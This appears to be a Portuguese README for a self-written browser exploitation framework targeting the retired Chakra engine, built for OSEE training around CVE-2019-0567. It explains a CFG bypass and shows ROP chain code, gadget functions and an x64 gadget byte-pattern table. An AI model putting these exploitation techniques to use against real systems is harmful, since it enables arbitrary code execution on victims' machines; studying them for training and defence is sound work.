Framework de exploração de navegador para Chakra (Edge). Escrito como parte da preparação para OSEE. Bug de demonstração: CVE-2019-0567
Este repositório contém o Browser Exploitation Framework que escrevi para me preparar para o meu curso EXP-401. O framework tem como alvo o mecanismo Chakra, que fazia parte do Edge até a sua mudança para o v8 em 2019.
A vulnerabilidade de demonstração usada no framework é a Type Confusion CVE-2019-0567.

Para tornar este framework fácil de usar, escrevi algumas funcionalidades interessantes que tornam a implementação de futuras fugas da sandbox incrivelmente fácil.
O framework permite que APIs do Windows sejam chamadas em alto nível. Utiliza uma ROP Chain de GetProcAddress para resolver qualquer API e permite até quatro parâmetros.
function getcomputername_example(winapi, memory_access, memory_manager) {
// Allocate some space for our GetComputerNameA parameters
let buffer_size = 0x100;
let lpBuffer = memory_manager.malloc(buffer_size);
let nSize = memory_manager.malloc(0x8);
memory_access.write_dword(nSize, buffer_size);
let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);
memory_access.hexdump(lpBuffer, buffer_size);
log("GetComputerNameA HRESULT: %p", hresult);
}
A técnica de bypass de CFG que usei foi a leafInterpreterFrame. Percorrendo alguns objetos, é possível vazar um endereço da pilha. A partir daí, pode-se caçar um ponteiro de função, sobrescrevê-lo e obter execução. Portá-la para minha versão do Chakra foi um pouco complicado, então escrevi um blog sobre isso aqui.
Um amigo me mostrou uma técnica muito boa para tornar o retorno ao JavaScript muito fácil. Eles envolvem seu bypass de CFG em uma chamada [1].map(), o que significa que podem continuar a execução na função pai — isso torna o código muito mais limpo. Você pode ver um exemplo disso aqui
Muitas APIs do Windows exigem parâmetros e buffers alinhados. Anteriormente, eu chamava APIs do Windows colocando parâmetros na seção .data — era muito doloroso. No final, escrevi meu próprio alocador de memória que chama VirtualAlloc, em ROP, e depois permite que outros objetos aloquem memória do buffer com malloc. O alocador de memória também sempre retorna buffers alinhados!
A forma como as rop chains são escritas é a seguinte:
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);
rop.pop_rcx(0x4141414141414141);
rop.getChain().map((gadget) => {
this.memory_access.write_pointer(rop_buffer, gadget);
rop_buffer += 8;
});
Os gadgets ROP subjacentes são implementados como pequenas funções:
pop_rcx(value) {
this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
this.add_gadget(value);
}
Dessa forma, podemos fazer cadeias mais complexas de gadgets para realizar uma ação de alto nível, como pop r9. Não havia um gadget bom, então é implementado como uma combinação de alguns:
pop_r9(value) {
this.pop_rax(value);
this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));
// Add filler for rsp
this.nop();
this.nop();
this.nop();
this.nop();
// Add filler for rbx
this.nop();
}
Para tentar aumentar a portabilidade do framework, também há um Scanner de Padrões ROP. Ele usa a primitiva read para escanear uma sequência de bytes que forma a cadeia necessária.
Há também um cache global que melhora drasticamente o desempenho do scanner.
get_pattern(instruction) {
let byte_patterns = {
"mov_r9_rax": [0x4c, 0x8b, 0xc8],
"add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
"pop_rax": [0x58],
"pop_rbx": [0x5b],
"pop_rsp": [0x5c],
"pop_r8": [0x41, 0x58],
"pop_rdx": [0x5a],
"pop_rcx": [0x59],
"mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
"add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
"add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
"mov_deref_rcx_rax": [0x48, 0x89, 0x01],
"mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
"mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
"ret": [0xc3],
};
return byte_patterns[instruction];
}